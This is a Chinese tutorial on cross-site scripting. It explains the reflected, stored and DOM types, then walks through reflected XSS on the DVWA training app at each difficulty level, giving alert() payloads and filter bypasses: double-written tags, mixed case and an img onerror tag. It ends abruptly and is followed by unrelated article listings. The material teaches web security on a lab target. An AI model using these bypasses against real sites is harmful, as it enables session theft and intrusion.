1、xss的形成原理

xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”。
xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。
常见的危害有:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。

2、xss的分类

xss根据特性和利用方式可以分成三大类,反射性xss 、存储型xss、DOM型xss、

反射性: 一般出现在URL参数中,以及网站搜索栏中,由于需要点击包含恶意代码的URL才可以触发,并且只能触发一次,也称为非持久性xss。

存储型:一般出现在留言板上,评论处,个人资料填写,等需要用户可以对网站写入数据的地方,比如一个论坛处由于对用户输入过滤不严格,导致攻击者在写入一段窃取cookie的恶意JavaScript代码到评论处,这段恶意代码会写入数据库中,当其他用户浏览写入代码的页面时,网站从数据库中读取恶意代码显示到网页中被浏览器执行,导致用户的cookie被窃取攻击者无需受害者密码既可以登陆账户,所以也被成为持久性xss,持久性xss比反射性xss危害性大得多。

3、dom型xss DOM xss是基于dom文件对象模型的,前端脚本通过dom动态修改页面,由于不予服务端运行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。常见的可以操作的dom对象有:url、location、referrer等。dom型的xss比较特殊,是一种基于dom树的xss,服务器端经常使用document.body.innertHtml等动态函数生成HTML页面,如果这些函数在引用某些变量时没有进行过滤检查,就会产生dom型的xss。dom型的xss可能是存储型的也可能是反射性的。

4、代码分析

DVWA(Dam Vulnerable Web Application)DVWA使用PHP+MySQL编写的一套常规的web漏洞教学和检测web脆弱性的测试程序,包含了SQl注入、XSS、盲注入等常见的一些安全漏洞,大家可以到官网上自行下载: http://www.dvwa.co.uk

建议大家使用火狐浏览器,感谢火狐浏览器对xss不过滤,像百度 还用Chrome很多会自行对xss过滤。或者大家对浏览器进行设置一下。

下面我将用dvwa中的4个漏洞等级Low 、Medium、High、Impossible进行举例、

反射性测试: 响应的xss链接  http://192.168.108.13/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

服务器端核心代码,可以看到 带xss没用进行过滤处理,所以我们可以直接输入 <script>alert(/xss/)</script>

xss 低级测试。

中级测试:

服务器核心代码,可以看到使用了 基于黑名单的思想利用 str_replace函数将<script>删除,这种防护机制是可以绕过的 。

双写绕过:

输入<sc<script>ript>alert(/xss/)</script>

相应的xss链接http://192.168.108.13/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2F%E5%8F%8C%E5%86%99xss%2F%29%3C%2Fscript%3E#

大小写混写绕过: 输入<ScRipt>alert(/xss/)</script>

相应的链接 http://192.168.108.13/vulnerabilities/xss_r/?name=%E8%BE%93%E5%85%A5%3CScRipt%3Ealert%28%2F%E5%A4%A7%E5%B0%8F%E5%86%99%E6%B7%B7%E7%94%A8xss%2F%29%3C%2Fscript%3E#

高级测试:

服务器端代码:High高级级别的代码同样适用了黑名单过滤,preg_replace() 函数用于正则表达式的搜索和替换,所以双写和大小写替换都不能绕过,但是可以使用img、body等标记时间或者iframe等标签的src注入恶意的js代码。  输入 <img src=1 onerror=alert(/xss/)>   URL链接http://localhost/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2F%E9%AB%98%E7%BA%A7xss%2F%29%3E#

impossible: 显然这种是过滤效果最好的。

服务器核心代码如下截图:可以看到impossible级别的代码使用htmlspecialchar函数将预定义的字符 &  "  、 ’  <  > 转换成HTML实体,防止浏览器将其作为HTML元素 。

存储型  XXS

下面对存储型的的xss 型的说明:

low:

服务器端核心代码:

WEB漏洞 XSS(一)的更多相关文章

  1. WEB漏洞——XSS

    跨站脚本( Cross-site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种. XSS攻击可以分为三种:反射型.存储型和DOM ...

  2. Web 漏洞分析与防御之 XSS(一)

    原文地址:Web 漏洞分析与防御之 XSS(一) 博客地址:http://www.extlight.com 一.全称 跨站脚本攻击(Cross Site Scripting) 二.原理 通过在网站中的 ...

  3. web漏洞-命令执行、文件上传、XSS

    一.命令执行   1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...

  4. [前端web安全]XSS漏洞基础入门

    前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...

  5. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  6. web漏洞总结

    目录: 1.sql注入获取数据库信息2.sql注入绕过管理后台登录3.反射型xss4.存储型xss5.csrf6.文件上传7.暴力破解8.目录遍历9.权限跨越10.文件包含11.未知漏洞 web漏洞演 ...

  7. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  8. 各种Web漏洞测试平台

    Sqli Lab​支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1 ...

  9. web漏洞扫描工具集合

    最好用的开源Web漏洞扫描工具梳理 链接:www.freebuf.com/articles/web/155209.html 赛门铁克2017年互联网安全威胁报告中提出在他们今年扫描的网站中,有76%都 ...

随机推荐

  1. 算法-链的操作(一)-合并两个排序的链接(no.25)

    合并两个排序的链接(no.25) 把下面连个排好序的链,从小到大排序链接. list1 : 1 -> 6 -> 8 list2 : 2-> 5 -> 9 def merge(h ...

  2. F - Auxiliary Set HDU - 5927 (dfs判断lca)

    题目链接: F - Auxiliary Set HDU - 5927 学习网址:https://blog.csdn.net/yiqzq/article/details/81952369题目大意一棵节点 ...

  3. 2016 alictf Timer writeup

    Timer-smali逆向 参考文档:http://blog.csdn.net/qq_29343201/article/details/51649962 题目链接: https://pan.baidu ...

  4. HTML - CSS 基础篇

    网页主要由四部分组成: 1.内容(content) 图片.文本.多媒体等. 2.结构(structure) 框架布局(div+css布局的多行多列的结构.) 3.表现(presnetation) 修饰 ...

  5. JS 如何将 HTML 页面导出为多页 PDF

    参考链接:https://blog.csdn.net/pwc1996/article/details/70141383

  6. JedisCluster

    字符串 setex(key, seconds, value):带过期时间 mset(keysvalues.....):批量操作,是一个原子性(atomic)操作,所有给定key会在同一时间内被设置 h ...

  7. 【NLP CS224N笔记】汇总

    [NLP CS224N笔记]Lecture 1 - Introduction of NLP [NLP CS224N笔记]Lecture 2 - Word Vector Representations: ...

  8. 【运维】虚拟机如何安装CentOS

    Centos是Linux发行版本之一. 接下来说说,如何在虚拟机上面安装Centos 1,创建虚拟机的过程本文就不再赘述,相信读者可以自己探索出来. 2,创建好一个空白的虚拟机之后,会看到一个编辑虚拟 ...

  9. 集合排序 Comparator和Comparable的使用区别

    Java 排序 Compare  Comparator接口 Comparable接口 区别 在Java中使用集合来存储数据时非常常见的,集合排序功能也是常用功能之一.下面看一下如何进行集合排序,常用的 ...

  10. 应用 XAF 开发移动手机应用

    应用 XAF 开发移动手机应用: 1. How to create a native mobile or lightweight web client UI based on the existing ...